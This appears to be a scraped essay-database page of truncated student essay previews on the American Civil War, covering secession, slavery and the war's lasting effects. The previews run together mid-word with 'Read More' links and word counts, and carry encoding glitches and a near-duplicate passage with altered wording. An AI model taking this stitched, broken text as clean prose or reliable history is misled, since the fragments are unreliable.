early 1900s, but little do we know it still has a lasting effect on us today. The Civil War was so devastating back in the 1860s that it helped to develop many new technologies, ideals, and culture. Some of the effects still hang on around us today, and may even influence your everyday life without you even knowing it. On December 20, 1860 the state of South Carolina seceded from the Union, United States of America, toRead MoreThe War Between The United States944 Words   |  4 Pagesto the War Between the States The Road of the United States in becoming a truly united nation has not been a path without turmoil. Many lives were laid down to form the structure of this country and fought for its right to freedom. One of the bloodiest conflicts in the United States’ history was the war between states or more commonly referred as the Civil War. This war leads to much unnecessary violence ridden battles that were precluded by many cases. The Civil War had many profound effects on howRead MoreThe Road Of The United States937 Words   |  4 PagesRoad of the United States in becoming a truly united nation has not been a path without turmoil. Many lives were laid down to form the structure of this country and fought for its right to freedom. One of the bloodiest conflicts in the United States’ history was the war between states or more commonly referred as the Civil War. This war leads to much unnecessary violence ridden battles that were preluded by many causes. The Civil War had many profound effects on how the United States ran as a countryRead MoreSlavery And The Civil War1706 Words   |  7 Pagessaid, â€Å"A house divided against itself cannot stand.† In the 1800s, the American nation was slowly becoming a house divided against itself. The United States were no longer united, mainly over the issue of slavery. In fact, many historians believe that, â€Å"From the nation’s founding, the issue of slavery threatened to tear the United States apart.† (â€Å"The Civil War† 1). The issue of slavery was always kept at bay through the utilization of various compromises; however a permanent solution was never sought